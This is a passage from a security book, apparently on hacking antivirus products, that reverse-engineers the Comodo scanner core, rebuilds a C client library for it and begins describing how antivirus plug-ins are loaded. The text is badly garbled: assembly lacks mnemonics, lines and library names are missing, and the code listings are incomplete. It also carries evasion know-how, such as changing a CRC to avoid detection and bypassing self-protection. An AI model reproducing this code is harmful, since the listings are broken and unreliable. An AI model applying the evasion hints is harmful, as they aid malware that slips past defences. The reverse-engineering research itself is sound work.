var_20= dword ptr -20h
var_1C= dword ptr -1Ch
ebp, edi
rbx, rsi
; argv
rsp, 0A8h
[rsp+0B8h+var_1C], 0
[rsp+0B8h+var_20], 0
Part I ■ Antivirus Basics
edx, offset shortopts
rsi, rbx
edi, ebp
; "s:vh"
; argv
; argc
Here, it’s checking the command-line options s:vh with the standard getopt
function. If you run the command /opt/COMODO/cmdscan without arguments,
it prints out the usage of this command-line scanner:
$ /opt/COMODO/cmdscan
USAGE: /opt/COMODO/cmdscan -s [FILE] [OPTION...]
-s: scan a file or directory
-v: verbose mode, display more detailed output
-h: this help screen
The command-line options identified in the disassembly, s:vh, are documented.
The most interesting one in this case is the -s flag, which instructs the tool to
scan a file or directory. Continue analyzing the disassembly to understand how
this flag works:
eax, 's'
short loc_401613
.text:0000000000401613 loc_401613:
rdi, cs:optarg
; name
esi, esi
; type
eax, eax
rax, cs:optarg
cs:src, rax
; Path to scan
short next_cmdline_option
When the -s flag is specified, it checks whether the next argument is an existing path by calling access. If the argument exists, it saves the pointer to the
path to scan (a filename or directory) in the src static variable and continues
parsing more command-line arguments. Now you can analyze the code after
the command-line arguments are parsed:
.text:0000000000401649 loc_401649:
; CODE XREF: main+36 j
cs:src, 0
edi, offset dev_aflt_fd
; a2
Chapter 2 ■ Reverse-Engineering the Core
The code checks whether the path to scan, src, was specified; if not, it goes to a
label that shows the usage help and exits. Otherwise, it calls an open_dev_avflt
function, then load_framework, and later maybe_IFramework_CreateInstance.
You do not really need to reverse-engineer the open_dev_avflt function, as
the device /dev/avflt is not actually required for scanning. Skip that function
and go directly to load_framework, the function that is responsible for loading
the Comodo kernel. The following is the entire pseudo-code for this function:
void *load_framework()
int filename_size; // [email protected]
char *self_dir; // [email protected]
int *v2; // [email protected]
char *v3; // [email protected]
void *hFramework; // [email protected]
void *CreateInstance; // [email protected]
char *v6; // [email protected]
char filename[2056]; // [sp+0h] [bp-808h]@1
filename_size = readlink("/proc/self/exe", filename, 0x800uLL);
if ( filename_size == -1 ||
(filename[filename_size] = 0,
self_dir = dirname(filename), chdir(self_dir)) )
v2 = __errno_location();
v3 = strerror(*v2);
fprintf(stderr, "%s\n", v3);
k = dlopen("./", 1);
hFrameworkSo = hFramework;
if ( !hFramework )
v6 = dlerror();
fprintf(stderr, "error is %s\n", v6);
goto LABEL_10;
CreateInstance = dlsym(hFramework, "CreateInstance");
FnCreateInstance = (int (__fastcall *)
(_QWORD, _QWORD, _QWORD, _QWORD))CreateInstance;
if ( !CreateInstance )
v3 = dlerror();
goto LABEL_4;
return CreateInstance;
Part I ■ Antivirus Basics
The decompiled code looks nice, doesn’t it? You could just copy this function
from the pseudo-code view to your C/C++ source file. In summary, the pseudocode does the following:
It resolves its path by reading the symbolic link created by the Linux kernel
/proc/self/exe, and then makes that path the current working directory.
It dynamically loads the and resolves the function
CreateInstance and stores the pointer into the FnCreateInstance global
The CreateInstance function simply loads the kernel, which seems to
reside inside, and resolves the base function required
to create a new instance of the framework.
Next, you need to reverse-engineer the maybe_IFramework_CreateInstance
maybe_IFrameWork_CreateInstance proc near
hInstance= qword ptr -40h
var_38= qword ptr -38h
maybe_flags= qword ptr -28h
esi, esi
edi, edi
edx, 0F0000h
rsp, 38h
[rsp+48h+hInstance], 0
rcx, [rsp+48h+hInstance]
The function the program resolved before, FnCreateInstance, is being called
now, passing a local variable called hInstance. Naturally, it is going to create an
instance of the Comodo Antivirus interface. Right after it creates the instance,
the following pseudo-code is executed:
BYTE4(maybe_flags) = 0;
LODWORD(maybe_flags) = -1;
g_FrameworkInstance = hInstance;
cur_dir = get_current_dir_name();
hFramework = g_FrameworkInstance;
cur_dir_len = strlen(cur_dir);
if ( hFramework->baseclass_0->CFrameWork_Init(
cur_dir_len + 1,
maybe_flags, 0LL) < 0 )
Chapter 2 ■ Reverse-Engineering the Core
fwrite("IFrameWork Init failed!\n", 1uLL, 0x18uLL, stderr);
This code is initializing the framework by calling hFramework->baseclass_0
->CFrameWork_Init. It receives the hFramework instance that was just created,
the directory with all the other kernel files, the size of the given directory path
buffer, and what appears to be the flags given to the CFrameWork_Init. The
current directory is the path of the actual cmdscan program, /opt/COMODO/, as
it changed the current working directory earlier. After this, more functions are
called in order to correctly load the kernel:
LODWORD(v8) = -1;
BYTE4(v8) = 0;
if ( g_FrameworkInstance->baseclass_0->CFrameWork_LoadScanners(
v8) < 0 )
fwrite("IFrameWork LoadScanners failed!\n", 1uLL, 0x20uLL, stderr);
if ( g_FrameworkInstance->baseclass_0->CFrameWork_CreateEngine(
g_FrameworkInstance, (IAEEngineDispatch **)&g_Engine) < 0 )
fwrite("IFrameWork CreateEngine failed!\n", 1uLL, 0x20uLL, stderr);
if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent(
(IUnknown **)&g_base_component_0x20001) < 0 )
fwrite("IAEEngineDispatch GetBaseComponent failed!\n",
0x2BuLL, stderr);
This loads the scanner routines by calling CFrameWork_LoadScanners, it creates
a scanning engine by calling CFrameWork_CreateEngine, and it gets a base dispatcher component, whatever it means for them, by calling CAEEngineDispatch_
GetBaseComponent. Although the next part can be safely ignored, it is good to
understand the functionality anyway:
v4 = operator new(0xB8uLL);
v5 = (IAEUserCallBack *)v4;
*(_QWORD *)v4 = &vtable_403310;
Part I ■ Antivirus Basics
pthread_mutex_init((pthread_mutex_t *)(v4 + 144), 0LL);
memset(&v5[12], 0, 0x7EuLL);
g_user_callbacks = (__int64)v5;
result = g_Engine->baseclass_0->CAEEngineDispatch_SetUserCallBack
(g_Engine, v5);
if ( result < 0 )
fwrite("SetUserCallBack() failed!\n", 1uLL, 0x1AuLL, stderr);
This code is used to set a few callbacks. For example, you could install callbacks
to be notified every time a new file is opened, created, read, written, and so on.
Do you want to write a generic unpacker using the Comodo engine? Install a
notification callback and wait for it to be called, copy the temporary file or buffer,
and you are done! Generic unpackers based on antivirus engines are popular.
This is interesting, but the purpose of this demonstration is to reverse-engineer
the core to get sufficient information about how to write a C/C++ SDK to interact
with the Comodo kernel. Now that the maybe_IFrameWork_CreateInstance
function has been analyzed, go back and look at the main function. The next
code after the call to the previously analyzed function will be similar to the
following pseudo-code:
if ( __lxstat(1, filename, &v7) == -1 )
v5 = __errno_location();
v6 = strerror(*v5);
fprintf(stderr, "%s: %s\n", filename, v6);
if ( verbose )
fwrite("-----== Scan Start ==-----\n", 1uLL, 0x1BuLL, stdout);
if ( (v8 & 0xF000) == 0x4000 )
scan_directory(filename, verbose, (__int64)&scanned_files,
scan_stream(filename, verbose, &scanned_files,
if ( verbose )
fwrite("-----== Scan End ==-----\n", 1uLL, 0x19uLL, stdout);
fprintf(stdout, "Number of Scanned Files: %d\n",
(unsigned int)scanned_files);
fprintf(stdout, "Number of Found Viruses: %d\n",
(unsigned int)virus_found);
This code checks whether the path pointed out by the global variable src
exists. If it does, the code calls either scan_directory
y or scan_stream, depending
on the flags returned by the call to __lxstat. The function to scan directories
Chapter 2 ■ Reverse-Engineering the Core
is likely calling scan_stream for each discovered element. You can now delve
deeper into this function to see what it does:
int __fastcall scan_stream(
char *filename,
char verbose,
_DWORD *scanned_files,
_DWORD *virus_found)
SCANRESULT scan_result; // [sp+10h] [bp-118h]@1
SCANOPTION scan_option; // [sp+90h] [bp-98h]@1
ICAVStream *inited_to_zero; // [sp+E8h] [bp-40h]@1
memset(&scan_option, 0, 0x49uLL);
memset(&scan_result, 0, 0x7EuLL);
scan_option.ScanCfgInfo = (x1)-1;
scan_option.bScanPackers = 1;
scan_option.bScanArchives = 1;
scan_option.bUseHeur = 1;
scan_option.eSHeurLevel = 2;
base_component_0x20001 =
*(struct_base_component_0x20001_t **)g_base_comp;
scan_option.dwMaxFileSize = 0x2800000;
scan_option.eOwnerFlag = 1;
inited_to_zero = 0LL;
result = base_component_0x20001->pfunc50(
(__int64 *)&inited_to_zero,
This code segment is really interesting. It starts by initializing a SCANRESULT
and a SCANOPTION object and specifying the required flags, such as whether
archives should be scanned, the heuristic enabled, and so on. Then, the code
calls a member function, pfunc50, passing a lot of arguments to it, such as the
base component, the filename, and so on. You do not know what the function
pfunc50 does, but do you really need it? Remember, the current task is not to
fully understand how the Comodo kernel works but, rather, to interface with
it. Continue with the following code:
err = result;
if ( result >= 0 )
memset((void *)(g_user_callbacks + 12), 0, 0x7EuLL);
err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream(g_Engine,
inited_to_zero, &scan_option, &scan_result);
Part I ■ Antivirus Basics
This is the code that is actually scanning the file. It seems that the local variable inited_to_zero that was passed to the call to pfunc50 has all the required
information to analyze the file. It is given to the function call CAEEngineDispatch_
ScanStream, as well as other arguments. The most interesting of these arguments
are the SCANOPTION and SCANRESULT objects, which have an obvious purpose: to
specify the scanning options and get the results of the scan. CAEEngineDispatch_
ScanStream is also initializing some global callbacks to zero, but you can skip
this part and all the other parts in this function that use the callbacks. The next
interesting part is the following one:
if ( err >= 0 )
if ( verbose )
if ( scan_result.bFound )
fprintf(stdout, "%s ---> Found Virus, Malware Name is %s\n",
filename, scan_result.szMalwareName);
result = fflush(stdout);
fprintf(stdout, "%s ---> Not Virus\n", filename);
result = fflush(stdout);
This code snippet checks whether the local variable err is not zero, increments the scanned_files variable, and prints out the discovered malware name
if the bFound member of the SCANRESULT object evaluates to true. The last step
in this function is to simply increase the count of viruses found if a malware
was detected:
if ( scan_result.bFound )
if ( err >= 0 )
It’s now time to go back to the main function. The last code after calling the
scan_* functions is the following one:
Chapter 2 ■ Reverse-Engineering the Core
This is the code for cleaning up; it un-initializes the framework and cancels
any possible remaining scan:
g_base_component_0x20001 = 0LL;
if ( g_Engine )
result = g_Engine->baseclass_0->CAEEngineDispatch_UnInit(
g_Engine, 0LL);
g_Engine = 0LL;
if ( g_FrameworkInstance )
result = g_FrameworkInstance->baseclass_0->CFrameWork_UnInit(
g_FrameworkInstance, 0LL);
g_FrameworkInstance = 0LL;
Finally, you close the used library:
void __cdecl dlclose_framework()
if ( hFrameworkSo )
You now have all the information required to write your own C/C++ to interface
with Comodo Antivirus! Fortunately, this antivirus ships with all the necessary structures, so you can export all the structure and enumeration definitions
to a header file. To do so, in IDA, select View→Open Subviews→Local Types,
right-click the Local Types window, and select the Export to Header File option
from the pop-up menu. Check the Generate Compilable Header File option,
select the correct path to write the header file, and click Export. After you fix
compilation errors in it, this header file can be used in a common C/C++ project.
The process of fixing the header file in order to use it with a common compiler
is a nightmare. However, in this case, you do not need to go through this process. You can download the header file from
Once you download this header file, you can get started. First, you create
a command-line tool similar to Comodo cmdscan, but one that exports more
interesting internal information. You start by adding the following required
include files:
Part I ■ Antivirus Basics
#include "comodo.h"
These are the header files that you will need. You can now copy most of the
pseudo-code created by the Hex-Rays decompiler into your project. However,
you should do it step-by-step instead of copying the entire decompiled file.
Start by adding the required calls to initialize, scan, and clean up the core in
the function main:
int main(int argc, char **argv)
int scanned_files = 0;
int virus_found = 0;
if ( argc == 1 )
return 1;
scan_stream(argv[1], verbose, &scanned_files, &virus_found);
printf("Final number of Scanned Files: %d\n", scanned_files);
printf("Final number of Found Viruses: %d\n", virus_found);
return 0;
In this code, the first command-line argument represents the file to scan. You
start by loading the framework and creating an instance. You then call scan_
stream, which shows a summary of the scanned files and then un-initializes
the framework and unloads the library that was used. You need to implement
many functions here: load_framework, maybe_IFrameWork_CreateInstance,
scan_stream, uninit_framework, and dlclose_framework. You can simply copy
these functions from the Hex-Rays decompiler: go through each function and
copy the pseudo-code. It will look like this:
//---------------------------------------------------------------------void uninit_framework()
g_base_component_0x20001 = 0;
Chapter 2 ■ Reverse-Engineering the Core
if ( g_Engine )
g_Engine->baseclass_0->CAEEngineDispatch_UnInit(g_Engine, 0);
g_Engine = 0;
if ( g_FrameworkInstance )
g_FrameworkInstance, 0);
g_FrameworkInstance = 0;
//---------------------------------------------------------------------int scan_stream(char *src, char verbosed,
int *scanned_files,
int *virus_found)
struct_base_component_0x20001_t *base_component_0x20001;
int result;
SCANRESULT scan_result;
SCANOPTION scan_option;
ICAVStream *inited_to_zero;
memset(&scan_option, 0, sizeof(SCANOPTION));
memset(&scan_result, 0, sizeof(SCANRESULT));
scan_option.ScanCfgInfo = -1;
scan_option.bScanPackers = 1;
scan_option.bScanArchives = 1;
scan_option.bUseHeur = 1;
scan_option.eSHeurLevel = enum_SHEURLEVEL_HIGH;
base_component_0x20001 = *
(struct_base_component_0x20001_t **)g_base_component_0x20001;
scan_option.dwMaxFileSize = 0x2800000;
scan_option.eOwnerFlag = enum_OWNER_ONDEMAND;
scan_option.bDunpackRealTime = 1;
scan_option.bNotReportPackName = 0;
inited_to_zero = 0;
result = base_component_0x20001->pfunc50(
(__int64 *)&inited_to_zero,
err = result;
if ( result >= 0 )
Part I ■ Antivirus Basics
err = g_Engine->baseclass_0->CAEEngineDispatch_ScanStream
(g_Engine, inited_to_zero, &scan_option, &scan_result);
if ( err >= 0 )
if ( scanned_files )
//printf("Got scan result? %d\n", scan_result.bFound);
if ( scan_result.bFound )
printf("%s ---> Found Virus, Malware Name is %s\n", src,
result = fflush(stdout);
printf("%s ---> Not Virus\n", src);
result = fflush(stdout);
if ( scan_result.bFound )
if ( err >= 0 )
return result;
//---------------------------------------------------------------------int maybe_IFrameWork_CreateInstance()
char *cur_dir;
CFrameWork *hFramework;
int cur_dir_len;
CFrameWork *hInstance;
int *v8;
int *maybe_flags;
hInstance = 0;
if ( FnCreateInstance(0, 0, 0xF0000, &hInstance) < 0 )
fwrite("CreateInstance failed!\n", 1uLL, 0x17uLL, stderr);
BYTE4(maybe_flags) = 0;
LODWORD(maybe_flags) = -1;
Chapter 2 ■ Reverse-Engineering the Core
g_FrameworkInstance = hInstance;
cur_dir = get_current_dir_name();
hFramework = g_FrameworkInstance;
cur_dir_len = strlen(cur_dir);
if ( hFramework->baseclass_0->CFrameWork_Init
(hFramework, cur_dir_len + 1, cur_dir, maybe_flags, 0) < 0 )
fwrite("IFrameWork Init failed!\n", 1uLL, 0x18uLL, stderr);
LODWORD(v8) = -1;
BYTE4(v8) = 0;
if ( g_FrameworkInstance->baseclass_0>CFrameWork_LoadScanners(g_FrameworkInstance, v8) < 0 )
fwrite("IFrameWork LoadScanners failed!\n", 1uLL, 0x20uLL, stderr);
if ( g_FrameworkInstance->baseclass_0>CFrameWork_CreateEngine(g_FrameworkInstance, (IAEEngineDispatch **)
&g_Engine) < 0 )
fwrite("IFrameWork CreateEngine failed!\n", 1uLL, 0x20uLL, stderr);
if ( g_Engine->baseclass_0->CAEEngineDispatch_GetBaseComponent(
(IUnknown **)&g_base_component_0x20001) < 0 )
fwrite("IAEEngineDispatch GetBaseComponent failed!\n",
1uLL, 0x2BuLL, stderr);
return 0;
//---------------------------------------------------------------------void dlclose_framework()
if ( hFrameworkSo )
//---------------------------------------------------------------------void load_framework()
int filename_size;
char *self_dir;
Part I ■ Antivirus Basics
int *v2;
char *v3;
void *hFramework;
char *v6;
char filename[2056];
filename_size = readlink("/proc/self/exe", filename, 0x800uLL);
if ( filename_size == -1 || (filename[filename_size] = 0, self_dir =
dirname(filename), chdir(self_dir)) )
v2 = __errno_location();
v3 = strerror(*v2);
fprintf(stderr, "Directory error: %s\n", v3);
hFramework = dlopen("./", 1);
hFrameworkSo = hFramework;
if ( !hFramework )
v6 = dlerror();
fprintf(stderr, "Error loading libFRAMEWORK: %s\n", v6);
FnCreateInstance = (FnCreateInstance_t)dlsym(hFramework,
if ( !FnCreateInstance )
v3 = dlerror();
fprintf(stderr, "%s\n", v3);
You only need to add the forward declarations of the functions right after
the last include directive, as well as the global variables:
//---------------------------------------------------------------------// Function declarations
int main(int argc, char **argv, char **envp);
void uninit_framework();
int scan_stream(char *src, char verbosed,
int *scanned_files,
int *virus_found);
int maybe_IFrameWork_CreateInstance();
void dlclose_framework();
void load_framework();
void scan_directory(char *src,
unsigned __int8 a2,
Chapter 2 ■ Reverse-Engineering the Core
__int64 a3, __int64 a4);
//---------------------------------------------------------------------// Data declarations
char *optarg;
char *src;
char verbose;
__int64 g_base_component_0x20001;
__int64 g_user_callbacks;
CAEEngineDispatch *g_Engine;
CFrameWork *g_FrameworkInstance;
typedef int (__fastcall *FnCreateInstance_t)(_QWORD, _QWORD, _QWORD,
CFrameWork **);
int (__fastcall *FnCreateInstance)(
_QWORD, _QWORD, _QWORD, CFrameWork **);
void *hFrameworkSo;
vtable_403310_t *vtable_403310;
You are now done with the very basic version of the Comodo command-line
scanner. You can compile it with the following command in a Linux machine:
$ g++ cmdscan.c -o mycmdscan -fpermissive \
-Wno-unused-local-typedefs -ldl
In order to test it, you need to copy it to the /opt/COMODO directory, using the
following command:
$ sudo cp mycmdscan /opt/COMODO
You can now test this program to see whether it is working like the original
cmdscan from Comodo:
$ /opt/COMODO/mycmdscan /home/joxean/malware/
/home/joxean/malware/ ---> Found Virus , \
Malware Name is Malware
Number of Scanned Files: 1
Number of Found Viruses: 1
It works! Now, it is time to print more information regarding the detected
or undetected file. If you look at the SCANRESULT structure, you will find some
interesting members:
char bFound;
int unSignID;
char szMalwareName[64];
int eFileType;
int eOwnerFlag;
Part I ■ Antivirus Basics
int unCureID;
int unScannerID;
int eHandledStatus;
int dwPid;
__int64 ullTotalSize;
__int64 ullScanedSize;
int ucrc1;
int ucrc2;
char bInWhiteList;
int nReserved[2];
You can, for example, get the signature identifier that matched your malware,
the scanner identifier, and the CRCs (checksums) that were used to detect your
file, as well as whether the file is white-listed. In the scan_stream routine, you
replace the line printing the discovered malware name with the following lines:
printf("%s ---> Malware: %s\n",
if ( scan_result.unSignID )
printf("Signature ID: 0x%x\n", scan_result.unSignID);
if ( scan_result.unScannerID )
: %d (%s)\n",
if ( scan_result.ullTotalSize )
printf("Total size : %lld\n", scan_result.ullTotalSize);
if ( scan_result.ullScanedSize )
printf("Scanned size: %lld\n", scan_result.ullScanedSize);
if ( scan_result.ucrc1 || scan_result.ucrc2 )
: 0x%x 0x%x\n",
result = fflush(stdout);
Now, replace the line where the Not virus line is printed with the following
printf("%s ---> Not Virus\n", src);
if ( scan_result.bInWhiteList )
printf("INFO: The file is white-listed.\n");
result = fflush(stdout);
The last step is to add the following function before the scan_stream
m routine
to resolve scanner identifiers to scanner names:
//---------------------------------------------------------------------const char *get_scanner_name(int id)
Chapter 2 ■ Reverse-Engineering the Core
switch ( id )
case 15:
return "UNARCHIVE";
case 28:
return "SCANNER_PE64";
case 27:
return "SCANNER_MBR";
case 12:
case 7:
case 22:
case 29:
case 16:
return "CAVSEVM32";
case 6:
case 9:
return "SIGNMGR";
case 21:
case 13:
case 24:
case 8:
case 10:
return "FRAMEWORK";
case 3:
return "SCANNER_PE32";
case 5:
case 23:
return "UNPATCH";
case 2:
case 4:
case 0:
return "Default";
case 17:
return "CAVSEVM64";
case 20:
return "UNSFX";
case 19:
return "SCANNER_MEM";
Part I ■ Antivirus Basics
case 14:
case 1:
case 18:
case 26:
case 11:
case 25:
This information was extracted from the following interesting enumeration
that was already available in the IDA database (remember that you have full
enum MemMgrType
enumMemMgr_Default = 0x0,
enumMemMgr_SCANNER_FIRST = 0x1,
enumMemMgr_SCANNER_DOSMZ = 0x2,
enumMemMgr_SCANNER_PE32 = 0x3,
enumMemMgr_SCANNER_PENEW = 0x4,
enumMemMgr_MEMORY_ENGINE = 0x5,
enumMemMgr_SCANNER_SCRIPT = 0x6,
enumMemMgr_UNPACK_STATIC = 0x7,
enumMemMgr_UNPACK_GUNPACK = 0x8,
enumMemMgr_SIGNMGR = 0x9,
enumMemMgr_FRAMEWORK = 0xA,
enumMemMgr_MEMTARGET = 0xB,
enumMemMgr_SCANNER_WHITE = 0xD,
enumMemMgr_MTENGINE = 0xE,
enumMemMgr_UNARCHIVE = 0xF,
enumMemMgr_CAVSEVM32 = 0x10,
enumMemMgr_CAVSEVM64 = 0x11,
enumMemMgr_SCANNER_HEUR = 0x12,
enumMemMgr_SCANNER_MEM = 0x13,
enumMemMgr_UNSFX = 0x14,
enumMemMgr_UNPACK_DUNPACK = 0x15,
enumMemMgr_SCANNER_EXTRA = 0x16,
enumMemMgr_UNPATCH = 0x17,
enumMemMgr_SCANNER_RULES = 0x18,
enumMemMgr_FILEID = 0x19,
enumMemMgr_SCANNER_ADVHEUR = 0x1A,
Chapter 2 ■ Reverse-Engineering the Core
enumMemMgr_SCANNER_MBR = 0x1B,
enumMemMgr_SCANNER_PE64 = 0x1C,
enumMemMgr_SCANNER_SMART = 0x1D,
To finish, compile the file with the previously used g++ command, copy it to
/opt/COMODO, and re-run the application; this time, you get more information:
$ g++ cmdscan.c -o mycmdscan -fpermissive \
-Wno-unused-local-typedefs -ldl
$ sudo cp mycmdscan /opt/COMODO
$ /opt/COMODO/mycmdscan /home/joxean/malware/
/home/joxean/malware/ ---> Found Virus,
Malware Name is Malware
: 0x486d0e3 0xa03f08f7
Number of Scanned Files: 1
Number of Found Viruses: 1
According to this information, you now know that the file is detected by the
engine called ENGINEDISPATCH and that it is using CRCs to detect the file. You
are using the EICAR testing file, but if you were working on a different file, you
could evade detection, for example, by changing the CRC. You can continue
adding more features to this tool: you can add support for recursively checking
directories and working in quiet mode by printing only relevant information,
such as white-listed (not infected) files and detected files. You can also use it as
the basis of a library to integrate it into your own tools for research purposes.
The final version of this tool, with more features than the original Comodo
command-line scanner, is available at
Other Components Loaded by the Kernel
The kernel is usually responsible for opening files, iterating over all the files
inside a compressed file or buffer, and launching signature scans or generic
detections and disinfections against known malware. Nevertheless, some tasks
are specifically performed not by the kernel but by other sub-components, such
as plug-ins, generic detection modules, heuristics, and so on. These modules,
typically plug-ins, are loaded by the kernel and often perform the most interesting tasks. For example, the Microsoft Security Essentials antivirus kernel
(mpengine.dll) launches generic detection and disinfection routines written in
C++.NET, and the Lua scripting language then extracts them from the database
files distributed with the product and the daily updates. Bitdefender does the
Part I ■ Antivirus Basics
same with binary plug-ins (XMD files) that contain code and are loaded dynamically. Kaspersky loads its plug-ins and disinfection routines by re-linking new
object files distributed as updates to the kernel. In short, every antivirus does
it in a completely different way.
Statically or dynamically reverse-engineering the part of the kernel that is
responsible for interfacing with plug-ins is key to actually reverse-engineering
the signatures, generic detections, and so on. Without being able to analyze how
these plug-ins are decrypted, decompressed, loaded, and launched, you cannot
fully understand how the antivirus works.
This chapter covered a lot of prerequisite material that will be helpful throughout the rest of this book. Its main focus was to illustrate how to reverse-engineer
the antivirus core and other relevant components in order to write an antivirus
client library for automation and fuzzing purposes, in case a command-line
scanner was not provided.
Many other important topics were also covered:
Leveraging the debug symbols when available to ease the reverseengineering process—Because most AV products use the same code base,
it is possible to reverse-engineer the components on the platform where
symbols are present and then port the symbols to another platform where
they are not present. Tools such as zynamics BinDiff and Joxean Koret’s
Diaphora were mentioned.
The Linux operating system is the operating system of choice when
it comes to fuzzing and automation—The Wine emulator and its sister
project Winelib can be used to run or port Windows command scanners
under Linux.
Bypassing antivirus self-protection—Usually the Linux version of AVs
do not self-protect, unlike their Windows counterpart. A few tricks about
how to bypass antivirus self-protection that keep you from being able to
debug the antivirus were shown.
Setting up the work environment—You
saw how to set up virtual machines
in order to debug antivirus drivers and services. In addition, WinDbg
kernel debugging was covered, along with various commands showing
how to do kernel and user-mode debugging from kernel mode WinDbg.
Finally, this chapter concluded with a lengthy and systematic hands-on walkthrough on how to write a client library for the Comodo Antivirus.
The next chapter discusses how plug-ins are loaded and how you can extract
and understand this functionality.
The Plug-ins
ns System
Antivirus plug-ins are small parts of the core antivirus software that offer
support for some specific task. They are not typically a core part of the antivirus
kernel. The core of the antivirus product loads through various methods and
uses them at runtime.
Plug-ins are not a vital part of the core libraries and are intended to enhance
the features supported by the antivirus core. They can be considered addons. Some example plug-ins include a PDF parser, an unpacker for a specific
EXE packer (such as UPX), an emulator for Intel x86, a sandbox on top of the
emulator, or a heuristic engine using statistics gathered by other plug-ins.
These plug-ins are usually loaded at runtime using manually created loading systems that typically involve decryption, decompression, relocation,
and loading.
This chapter covers some loading implementations of typical antivirus plugins and analyzes the loading process. Heuristic-based detection algorithms,
emulators, and script-based plug-ins will also be covered. After you complete
this chapter, you should be able to:
Understand how plug-in loaders work
Analyze a plug-in’s code and know where to look for vulnerabilities
Research and implement evasion techniques
Part I ■ Antivirus Basics
Understanding How Plug-ins Are Loaded
Each antivirus company designs and implements a completely different way
to load its plug-ins. The most common way is to allocate Read/Write/eXecute
(RWX) memory pages, decrypt and decompress the plug-in file contents to
the allocated memory, relocate the code if appropriate (like Bitdefender does),
and finally remove the write (W) privilege from the page or pages. Those new
memory pages, which now constitute a plug-in module, are added to the loaded
plug-ins list.
Other AV companies ship the plug-ins as Dynamic Link Libraries (DLLs),
making the loading process much simpler by relying on the operating system’s
library loading mechanism (for example, using the LoadLibrary API in Microsoft
Windows). In that case, to protect the plug-in’s code and logic, the DLLs often
implement code and data obfuscation. For example, the Avira antivirus product
encrypts all the strings in its plug-in DLLs and decrypts them in memory when
the plug-in is loaded (with a simple XOR algorithm and a fixed key stored in
the actual plug-in code).
In another example, Kaspersky Anti-Virus uses a different approach to loading plug-ins: the plug-in updates are distributed as object files in the COFF file
format and are then linked to the antivirus core.
The following sections discuss the various plug-in loading approaches and
their advantages and disadvantages.
A Full-Featured Linker in Antivirus Software
Instead of dynamically loading libraries or creating RWX pages and patching
them with the contents of the plug-ins, Kaspersky distributes their updates in the
Common Object File Format (COFF). After being decrypted and decompressed,
these files are linked together, and the newly generated binary forms the new
core, with all of the plug-ins statically linked. From an antivirus design point of
view, this method offers low memory usage and faster start-up. On the other hand,
it requires Kaspersky developers to write and maintain a full-featured linker.
N O T E The Common Object File Format is used to store compiled code and data.
COFF files are then used in the final compilation stage—the linking stage—to produce
an executable module.
The update files are distributed in the form of many little files with an *.avc
extension, for example, base001.avc. These files start with a header like this:
41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61
74 61 62 61 73 65 2E 20 28 63 29 4B 61 73 70 65
72 73 6B 79 20 4C 61 62 20 31 39 39 37 2D 32 30
AVP Antiviral Da
tabase. (c)Kaspe
rsky Lab 1997-20
Chapter 3 ■ The Plug-ins System
Kaspersky Lab. 1
6 Sep 2013 10:0
In this example, there is an ASCII header with the banner, “AVP Antiviral
Database. (c)Kaspersky Lab 1997-2013”; a padding with the 0x00 characters; the date of distribution (“Kaspersky Lab. 16 Sep 2013 10:02:18”); and
more padding with the 0x00 characters. Starting at offset 0x80, the header ends,
and actual binary data follows. This binary data is encrypted with a simple
XOR-ADD algorithm. After it is decrypted, the data is decompressed with a
custom algorithm. After decompression, you have a set of COFF files that are
linked together (using routines in the AvpBase.DLL library) so the target operating system can use them.
This approach to loading plug-ins appears to be exclusive to the Kaspersky
antivirus kernel. This plug-in loading process is discussed later in this chapter.
Understanding Dynamic Loading
Dynamic loading is the most typical way of loading antivirus plug-ins. The
plug-in files are either inside a container file (such as the PAV.SIG file for Panda
Antivirus, the *.VPS files for Avast, or the Microsoft antivirus *.VDB files) or
spread in many small files (as in the case of Bitdefender). These files are usually encrypted (although each vendor uses a different type of encryption) and
compressed, commonly with zlib. The plug-in files are first decrypted, when
appropriate (for example, Microsoft does not use encryption for its antivirus
database files; they are just compressed), and then loaded in memory. To load
them in memory, the antivirus core typically creates RWX pages on the heap,
copies the content of each decrypted and decompressed file to the newly created memory page, adjusts the privileges of the page, and, if required, relocates
the code in memory.
Reverse-engineering an antivirus product that uses this approach is more
difficult than reverse-engineering products that use the static object linking
approach (as Kaspersky does), because all the segments are created in different
memory addresses each time the core is loaded because of ASLR. This makes
reverse-engineering difficult because all the comments, assigned function names,
and so on in IDA are not relocated to the new page where the plug-in’s code is
each time you run the debugger. There are partial solutions to this problem: for
example, using the open-source plug-in for IDA “Diaphora” or the commercial
Zynamics BinDiff, you can do binary differentiation (also called bindiffing)
g on
the process as-is in memory against a database that contains the comments and
the function names.
Part I ■ Antivirus Basics
The bindiffing process allows the reverse-engineer to import names from a
previously analyzed IDA database to a new instance of the same (loaded at a
different memory address). However, a reverse-engineer needs to run the plugin code each time the debugger is loaded, which is annoying. There are other
open-source approaches such as the IDA plug-in MyNav, which has import
and export capabilities that may help you access the plug-in code you need.
However, it suffers from the very same problem: a reverse-engineer needs to
reload plug-ins for each execution.
Some antivirus kernels do not protect their plug-ins; these plug-ins are simply
libraries that can be opened in IDA and debugged. However, this approach is
used very rarely—indeed, only in the case of Comodo antivirus.
Rather than distribute each plug-in as an independent file, some antivirus products
use containers with all the updated files inside them. If the antivirus product you are
targeting uses a container file format, an analyst will need to research its file format
before he or she can access all the files inside it. From the viewpoint of the antivirus
company, both methods offer benefits and drawbacks. If a container is used, the
intellectual property is somewhat more “protected” because research is needed to
reverse-engineer the file format of the container and write an unpacker. On the other
hand, distributing a single, large file to customers can make updates slower and more
expensive. Distributing the plug-in files as many small files means that an update may
involve only a few bytes or kilobytes instead of a multi-megabyte file. Depending
on the size and quantity of the update files that are served, the researchers can get a
rough idea of the capabilities of the antivirus core in question: more code means more
Advantages and Disadvantages of the Approaches for
Packaging Plug-ins
Antivirus engineers and reverse-engineers have different viewpoints when
assessing the advantages and disadvantages of the two approaches to packaging plug-ins. For engineers, the dynamic loading approach is the easiest, but it
is also the most problematic one. Antivirus products that offer plug-ins that are
encrypted, compressed, and loaded dynamically in memory have the following
disadvantages, from a developer’s point of view:
They consume more memory.
Developers must write specific linkers so the code compiled with Microsoft
Visual C++, Clang, or GCC can be converted to a form the antivirus kernel
Chapter 3 ■ The Plug-ins System
They make it significantly more difficult for developers to debug their
own plug-ins. Often, they are forced to hard-code INT 3 instructions or
use OutputDebugString, printf for debugging. However, such calls are
not always available. For example, OutputDebugString is not an option
in Linux or Mac OS X. Furthermore, some plug-ins are not native code,
such as those for the Symantec Guest Virtual Machines (GVMs).
